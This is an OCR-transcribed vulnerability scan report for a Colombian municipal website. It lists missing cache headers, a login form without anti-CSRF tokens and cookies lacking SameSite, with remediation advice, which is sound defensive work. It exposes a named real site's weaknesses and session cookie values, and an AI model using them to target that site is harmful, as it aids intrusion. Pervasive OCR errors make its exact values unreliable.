REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 149 of 348


https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/
https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl at form "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ posts/585>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/images/

Identification

OUTPUT
https://chi a-cundi namar ca. gov. co/ i mages/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ i mages/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbil e: 2?0

Sec- Ch-Ua- Pl at form "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:41:55 GVI

Cont ent - Type: text/htm

Cont ent - Lengt h: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMVI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Web Application Scanning Detailed Scan Export:
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Identification

OUTPUT
https://chi a-cundi nanar ca. gov. co/ web/ tramni t es-y-servi ci os/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi nanarca. gov. co/ web/tram tes-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:50:28 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=63>; rel =shortlink

X- TEC- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Identification

OUTPUT
htt ps://chi a-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/ has no Cache Contr ol
header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mobil e: 20

Web Application Scanning Detailed Scan Export:
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Sec- Ch-Ua- Pl atform "Linux"
Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:21:39 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 22400>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=22400>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/17/1os-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-

cultura-en-chia/

Identification

OUTPUT
https://chi a-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones-de- art es- pl asti cas- abren-sus- puertas-para-el -arte-y-cul tura-
en-chia/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones- de- art es- pl asti cas-abren-sus-puertas-para-el-arte-y-
cul tura-en-chia/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:35:13 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[/ wp-j son/ wp/ v2/ post s/ 22370>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[ web/ ?p=22370>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Web Application Scanning Detailed Scan Export:
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Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:15:28 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT

https://chi a-cundi namar ca. gov. co/ i ndex. php/tram tes-y-servicios/sisben has invalid directive found :
- post-check=0

https://chi a- cundi nanar ca. gov. co/ i ndex. php/tram tes-y-servicios/sisben has invalid directive found :
- pre-check=0

HTTP Info

REQUEST MADE
GET /index. php/trami tes-y-servicios/sisbhen HITP/ 1.1

Web Application Scanning Detailed Scan Export:
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REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVI

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV QUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GVIr

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15€2765387503; path=/; HttpOnly
Last-Mdified: Thu, 19 Dec 2024 04:01:41 GV

INSTANCE
https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
https://chi a- cundi namar ca. gov. co/ web/ t r anspar enci a- y- acceso- a- | a-i nfor maci on- publ i ca/ has no Cache Control header
def i ned.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a- y- acceso- a- | a-i nf or maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namar ca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: sanme-origin

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:38:08 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- APl - VERSI ON: v1

Web Application Scanning Detailed Scan Export:
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X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/
X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web
Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- predi al - uni fi cado/ has no Cache Control header defi ned.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i mpuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 06:17:33 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ posts/ 4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=4113>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/test. php has no Cache Control header defined.

HTTP Info

REQUEST MADE
CGET https://chia-cundi namarca. gov. co/ test. php
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REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM.,
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:22:54 GVI
Cont ent- Type: text/htm; charset=UTF-8
Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/cache/

Identification
OUTPUT

https://chi a- cundi nanar ca. gov. co/ cache/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:08:25 GVI

Cont ent - Type: text/htm

Content-Length: 31

Connection: keep-alive

Last-Modi fied: Sun, 11 Dec 2016 21:51:10 GMI
Accept - Ranges: bytes
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Login Form Cross-Site Request Forgery

VULNERABILITY PLUGIN ID 113332

Description

Cross Site Request Forgery (CSRF) occurs when an user is tricked into clicking on a link which would automatically submit a
request without the user's consent.

This can be made possible when the request does not include an anti-CSRF token, generated each time the request is visited
and passed when the request is submitted, and which can be used by the web application backend to verify that the request
originates from a legitimate user.

Exploiting requests vulnerable to Cross-Site Request Forgery requires different factors:
- The request must perform a sensitive action.
- The attacker must make the victim click on a link to send the request without their consent.

The exploitation of this vulnerability will in most cases have a very limited impact. However, it is possible to create complex
scenarios in case the application is also vulnerable to Cross-Site Scripting.

Solution

Update the application by adding support of anti-CSRF tokens on this login form.
Most web frameworks provide either built-in solutions or have plugins that can be used to easily add these tokens to any form.
Check the references for possible solutions provided for the most known frameworks.

See Also

https://codex.wordpress.org/WordPress_Nonces
https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/csrf_paper.pdf
https://www.drupal.org/docs/7/security/writing-secure-code/create-forms-in-a-safe-way-to-avoid-cross-site-request-
forgeries

https://symfony.com/doc/current/form/csrf_protection.html
http://en.wikipedia.org/wiki/Cross-site_request_forgery
https://docs.djangoproject.com/en/1.11/ref/csrf/
http://www.cgisecurity.com/csrf-fag.html
https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005)
https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Plugin Details
PUBLICATION DATE 2022-08-08T00:00:00+00:00
MODIFICATION DATE 2023-01-17T00:00:00+00:00
FAMILY Cross Site Request Forgery
SEVERITY Low
PLUGIN ID 13332
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https://www.drupal.org/docs/7/security/writing-secure-code/create-forms-in-a-safe-way-to-avoid-cross-site-request-forgeries
https://symfony.com/doc/current/form/csrf_protection.html
http://en.wikipedia.org/wiki/Cross-site_request_forgery
https://docs.djangoproject.com/en/1.11/ref/csrf/
http://www.cgisecurity.com/csrf-faq.html
https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005)
https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Risk Information

CVSSV4 BASE SCORE 2.1

CVSSV4 VECTOR CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
CVSSV3 BASE SCORE 3.1

CVSSV3 VECTOR CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

CVSS BASE SCORE 2.6

CVSS VECTOR CVSS2#AV:N/AC:H/Au:N/C:N/1:P/A:N

Reference Information

CWE 352

WASC Cross-Site Request Forgery

OWASP 2013-A8, 2010-A5, 2021-A1, 2023-API8, 2019-API7
CVE -

BID =
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Login Form Cross-Site Request Forgery Instances (1)

VULNERABILITY PLUGIN ID 113332

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

PROOF

<form action="/index. php/tram tes-y-servicios/sisben" nmethod="post" id="forml ogin">

<i nput nane="usernane" id="usernane" type="text" class="inputbox" alt="Usuario" autoconplete="off" autocapitalize="none
>

</'i nput >

<i nput type="password" nanme="password" class="inputbox" alt="Contrase\uOOFla" id="passwd">

</input>

<i nput type="submit" nane="Submit" class="button |ogin" value="Ildentificarse">

</input>

<i nput type="hi dden
</input>

<i nput type="hi dden" nane="task" val ue="user.|ogin">

</input>

<i nput type="hidden" name="return" val ue="aHROcHV5LY9j ad hLWN1bnRpbnFt YXJj YS5nb3YuY28v" >
</'i nput >

<i nput type="hi dden" nane="00edee66cd5367945f 8382f a07e3c676" val ue="1">

</input>

</form

nanme="option" val ue="comusers">

OUTPUT
No anti-CSRF token could have been found in the login formwith ID formlogin.

By requesting it several tines, the scanner could not find any dynam c input field that woul d generate a token used by
the application to confirmthe user intention to subnit this form

HTTP Info

REQUEST MADE
GET /index. php/tramtes-y-servicios/sisbhen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be42; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVI

Content-Type: text/htm; charset=utf-8

Transf er - Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15e2765387503; path=/; HttpOnly
Last-Modi fied: Thu, 19 Dec 2024 04:01:41 GVI
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Cookie Without SameSite Flag Detected

VULNERABILITY PLUGIN ID 115540
Description

SamesSite is an attribute which can be set on a cookie to instruct the web browser if this cookie can be sent along with cross-
site requests to help prevent Cross-Site Request Forgery (CSRF) attacks.

The attribute has three possible values :

- Strict : the cookie will only be sent in a first-party context, thus preventing cross-site requests initiated from third-party
websites to include it.

- Lax: the cookie is allowed to be sent in GET cross-site requests initiated by the top-level navigation from third-party websites.
For example, following an hypertext link from the external website will make the request include the cookie.

- None : the cookie is explicitly set to be sent by the browser in any context.

The scanner identified the lack of SameSite attribute on cookies set by the application or a misconfiguration.
Solution

Web browsers default behavior may differ when processing cookies in a cross-site context, making the final decision to send
the cookie in this context unpredictable. The SameSite attribute should be set in every cookie to enforce the expected result by
developers. When using the 'None'attribute value, ensure that the cookie is also set with the 'Secure' flag.

See Also
https://blog.chromium.org/2019/10/developers-get-ready-for-new.html

https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#samesite-
cookie-attribute

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
https://web.dev/samesite-cookies-explained

Plugin Details

PUBLICATION DATE
MODIFICATION DATE

FAMILY HTTP Security Header
SEVERITY Low
PLUGIN ID 115540
Risk Information
CVSSV4 BASE SCORE 2.1
CVSSV4 VECTOR CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CVSSV3 BASE SCORE 3.1
CVSSV3 VECTOR CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/1:N/A:N
CVSS BASE SCORE 2.6

2018-12-14T00:00:00+00:00
2023-12-11T00:00:00+00:00
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https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#samesite-cookie-attribute
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
https://web.dev/samesite-cookies-explained

CVSS VECTOR CVSS2#AV:N/AC:H/Au:N/C:P/1:N/A:N

Reference Information

CWE 352

WASC Cross-Site Request Forgery

OWASP 2013-A8, 2010-A5, 2021-A1, 2023-API8, 2019-API7
CVE -

BID =
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Cookie Without SameSite Flag Detected Instances (4)

VULNERABILITY PLUGIN ID 115540

INSTANCE
https://chia-cundinamarca.gov.co/

INPUT TYPE cookie
INPUT NAME 8b58dc30ff9e4328565181726d3386f8

Identification

PROOF

Set - Cooki e : 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15e2765387503; Path=/; H tpOnly

QUTPUT

The scanner detected a cookie naned ' 8b58dc30ff 9e4328565181726d3386f8"' set through a ' Set-Cooki e' header which does not

have the 'SaneSite' attribute set.

INSTANCE
https://chia-cundinamarca.gov.co/

INPUT TYPE cookie
INPUT NAME googtrans

|dentification
PROOF
googtrans=/es/fr; Path=/

OUTPUT

The scanner detected a cookie naned 'googtrans' set with JavaScript which does not have the 'SaneSite' attribute set.

INSTANCE
https://chia-cundinamarca.gov.co/

INPUT TYPE cookie
INPUT NAME cpsession

Identification

PROOF

Set - Cooki e : cpsessi on=%8aHqQ 26kRGUsy 2Bt J9%2c4b043945560f da9514b19964b4b5bed2; Path=/; Secure; HttpOnly

OUTPUT

The scanner detected a cookie naned 'cpsession' set through a 'Set-Cookie' header which does not have the ' SaneSite'

attribute set.

INSTANCE
https://chia-cundinamarca.gov.co/

INPUT TYPE cookie
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INPUT NAME timezone

Identification

PROOF
ti mezone=Et ¢/ UTC; Pat h=/

QUTPUT
The scanner detected a cookie naned 'tinezone' set with JavaScript which does not have the 'SaneSite' attribute set.
Web Application Scanning Detailed Scan Export:
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Scan Information

VULNERABILITY BINgeN PLUGIN ID 98000

Description

Provides scan information and statistics of plugins run.

Solution
See Also

Plugin Details
PUBLICATION DATE 2017-03-31T00:00:00+00:00
MODIFICATION DATE 2023-11-17T00:00:00+00:00
FAMILY General
SEVERITY Info
PLUGINID 98000

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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Scan Information Instances (1)

VULNERABILITY BINigeM PLUGIN ID 98000

INSTANCE

https://chia-cundinamarca.gov.co/

Identification
OUTPUT

Engi ne Version 2.28.3-1632
Pl ugi ns Version 202412100732
Scan | D 23b333cd- 31f 8- 4dad- aa97- ec3a358b7646

Start Tine 2024-12-19 00: 02: 25 +0000
Durati on 08:00: 22

Requests 183722

Craw er Requests 69
Requests/s 9.003

Mean Response Tinme 0.3238s

Bandwi dt h Usage
- Data to Target 88.8 MB
- Data from Target 15.7 GB

Ti neout s Encount er ed
Net wor k Ti neouts 0O
Browser Tinmeouts 0O
Browser Respawns 0
HTTP Protocol s Detected
- HITPs

Aut hentication ldentified
- None

Pl ugi ns
- 739 have been included per scan policy
- 1749 have been started based on target information collected

List of plugins is available in 'plugins.csv' attachnent.

Settings used to conduct this scan are available in 'configuration.csv' attachnent.
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Web Application Sitemap

VULNERABILITY BINIigeN PLUGIN ID 98009

Description

Publishes the sitemap of the web application as seen by the scan.

The list of all URLs that have been detected during the scan are available as an attachment. For each URL in the sitemap, the
following information is provided:

- The first time the URL is detected - The logic used to detect the URL. This information may be found by: crawling rendering the
page by a specific plugin - The parent URL requested to detect the URL - If the URL has been requested at least once,
information about the response - Whether or not the URL has been queued for audit - If the URL has not been queued for audit,
the reason why the URL does not need an audit - Whether or not the URL has been effectively audited - If the URL has not been
effectively audited, the reason that the scanner was unable to audit the URL

Reasons for not adding a URL to the audit queue are as follows:

- not_in_domain: The domain of the URL does not match main target URL - scope_configuration: The URL does not match
scope include list scan settings - directory_depth: The number of directories in the URL path exceeds the scan configuration
setting - exclude_file_extension: The URL file extension matched one entry of the file extension blacklist setting -
exclude_path_patterns: The URL matched one entry of the URL exclusion blacklist setting - redundant_path: The number of
URLs to be audited with the same path and query string parameters has been reached - request_redirect_limit: The number of
HTTP redirects allowed per scan configuration setting has been reached - queue_full: The number of URLs to audit has been
reached

If a scan fails to audit a URL that has been queued for audit, reasons for the failure are as follows:
- timeout: The request timed out when trying to retrieve URL contents - filesize_exceeded: URL response exceeded file size

limit defined in the scan configuration - scan_timelimit_reached: The URL couldn't be audited before the scan time limit -
user_abort: The user stopped the scan before the URL could be audited

Solution
See Also

Plugin Details
PUBLICATION DATE 2017-03-31T00:00:00+00:00
MODIFICATION DATE 2023-11-17T00:00:00+00:00
FAMILY General
SEVERITY Info
PLUGIN ID 98009

Risk Information
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CVSSV4 BASE SCORE =
CVSSV4 VECTOR

CVSSV3 BASE SCORE S
CVSSV3 VECTOR

CVSS BASE SCORE =
CVSSVECTOR

Reference Information

CWE =
WASC

OWASP =
CVE

BID =
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Web Application Sitemap Instances (1)

